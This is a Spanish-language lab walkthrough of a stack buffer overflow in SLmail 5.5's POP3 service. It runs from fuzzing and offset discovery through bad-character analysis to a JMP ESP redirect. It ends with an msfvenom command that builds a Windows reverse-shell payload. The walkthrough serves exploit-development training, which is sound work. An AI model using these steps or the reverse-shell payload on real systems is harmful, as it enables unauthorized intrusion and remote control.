
Desbordamiento de búfer en Seattle Lab Mail (SLmail) 5.5 - POP3
Desbordamiento de búfer en Seattle Lab Mail (SLmail) 5.5 - POP3
Desbordamiento de búfer simple basado en pila, paso a paso
En el primer paso, aplicaremos fuzzing a la aplicación con un simple script de Spike
mientras tanto, también tendremos SLmail adjunto [y en ejecución] a Immunity Debugger
Más sobre Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Aquí hay un simple script de Spike llamado spike_fuzz.spk
lo ejecutaremos contra la aplicación usando el comando
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
donde 192.168.1.117 es la IP de la máquina objetivo que ejecuta SLMail y se está ejecutando en el puerto 110

Mientras tanto, si miramos Immunity, veremos que la aplicación se ha bloqueado

Ahora crearemos un POC en Python que replica el crash y calcula los bytes en los que la aplicación falla
python poc_crash.py

Para encontrar el offset, utilizaremos msf
1. Primero generar un patrón
2. Anotar el EIP
3. Consultar ese EIP y la longitud con MSF para encontrar el offset
msf-pattern_create -l 2700

En poc_offset.py utilizaremos este patrón como nuestro búfer de desbordamiento (Overflow Buffer).
python poc_offset.py

En este punto, también anotamos el valor del EIP en Immunity donde la aplicación se ha bloqueado y pausado

EIP es 39694438
::Para encontrar el offset::
msf-pattern_offset -l 2700 -q 39694438

el offset es 2606, es decir, 2606 bytes antes de llegar al EIP::: y el EIP en sí tiene 4 bytes de longitud
Ahora intentaremos sobrescribir el EIP con 4 B's, es decir:: en Immunity deberíamos tener 42424242 {Hex para 4 B's}
python poc_eip_control.py

Y ahora, si comprobamos Immunity

Para mantener esto simple y breve
Puedes ejecutar el script poc_badchars.py y luego encontrar tú mismo los Bad Characters
Para ser breve
Esta aplicación tiene dos bad characters {que también son los predeterminados}. Cuando ejecutamos el script poc_badchars.py por primera vez, veremos que el carácter \x0a da problemas; entonces lo eliminaremos de nuestro payload de bad chars y volveremos a ejecutar el script... En la segunda ejecución veremos que el carácter \x0d se omite, así que ese es nuestro segundo bad char y lo eliminamos de nuestro payload :: después de esto, cuando ejecutamos el script por tercera vez, ¡¡todo está claro y bien!!
badchars son :: \x00\x0a\x0d
{byte nulo, avance de línea, retorno de carro}
python poc_badchars.py
Primero encontramos el módulo correcto usando los módulos de Mona en Immunity
slmfc.dll es el candidato más apropiado ya que no tiene protecciones de memoria!

y ahora encontramos una dirección JMP ESP en esta DLL
Esta dirección se escribirá en el EIP para que podamos redirigir la ejecución del programa a ESP, lo que resultará en la ejecución de nuestro shellcode.
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalente de JMP ESP}

de 19 direcciones de puntero elegimos la primera
Ahora juntaremos todo esto y lanzaremos una shell
1.) generar el shellcode {excluyendo los badchars}
2.) añadir la dirección que encontramos {recuerda Little Endian}
3.) añadir el buffer, la dirección de retorno, algunos nopsleds, el shellcode
4.) tenemos una shell
Generemos rápidamente el shellcode usando msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Ponemos todo junto en el archivo exploit.py

Ahora, esta vez ejecutamos SLmail sin Immunity y también escuchamos las conexiones entrantes simultáneamente
Una vez hecho esto, ejecutaremos el script final exploit.py!

¡EXCELENTE, TENEMOS UNA SHELL!